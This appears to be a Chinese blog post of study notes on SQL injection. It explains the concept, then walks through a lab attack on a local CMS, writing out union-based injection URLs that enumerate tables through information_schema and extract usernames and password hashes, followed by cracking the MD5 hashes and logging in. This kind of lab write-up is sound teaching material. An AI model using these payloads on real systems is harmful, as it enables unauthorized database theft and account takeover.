对SQL注入的小记

SQL注入

SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL 语句来实现对数据库的任意操作。

SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件。

  • 参数用户可控∶前端传给后端的参数内容是用户可以控制的。
  • 参数带入数据库查询∶传入的参数拼接到SQL语句,且带入数据库查询。

SQL注入的危害

  • 攻击者可以利用SQL注入漏洞,可以获取数据库中的多种信息(例如管理员后台的账号密码),从而可以脱取数据库中的内容,俗称脱库。
  • 在一些情况中还可以修改数据库中的内容、插入内容到数据库或者删除数据库中的内容。
  • 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL注入漏洞读写文件,读取敏感文件或上传恶意文件,从而Getshell。
  • 利用数据库提权。

判断是否存在SQL注入漏洞

以下面代码举例:

SELECT*FROM users WHERE id=$ GET['id']

当传入的ID参数为1’时,数据库执行的代码如下所示:

select * from users where id=1'

这不符合数据库语法规范,所以会报错。当传入的ID参数为and1=1时,执行的SQL语句如下所示。

select* from users where id=1 and 1=1

因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果,由此可以初步判断ID参数存在SQL注入漏洞。

SQL注入小实验

先判断是否存在SQL注入漏洞

先判断 and 1=1 时

http://192.168.42.146/cms/show.php?id=33 and 1=1

页面结果如下:
在这里插入图片描述
再判断 and 1=2 时

http://192.168.42.146/cms/show.php?id=33 and 1=2

页面显示结果如下:
在这里插入图片描述
从中可知页面存在SQL注入漏洞。

再判断列数:

http://192.168.42.146/cms/show.php?id=33 order by 15

在这里插入图片描述
再次试试 16。

http://192.168.42.146/cms/show.php?id=33 order by 16

在这里插入图片描述
所以判断列数为15列。

接下来就是判断注入点的位置在哪里:

http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

页面显示结果如下:
在这里插入图片描述
根据页面显示结果我们可知注入点在第三列和第十一列,接下来就是查找了。
查找表名:

http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,group_concat(UNHEX(HEX(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

页面显示结果:
在这里插入图片描述

然后再查看cms_users的字段名:

http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,group_concat(UNHEX(HEX(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='cms_users' and table_schema=database()

页面显示结果如下:
在这里插入图片描述
查找字段内容:

http://192.168.42.146/cms/show.php?id=33 and 1=2 union select 1,2,group_concat(UNHEX(HEX(username))),4,5,6,7,8,9,10,group_concat(UNHEX(HEX(password))),12,13,14,15 from cms_users

页面结果如下:
在这里插入图片描述
这时候发现存在加密的密码,然后去MD5解一下码:
在这里插入图片描述
然后尝试登录:
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值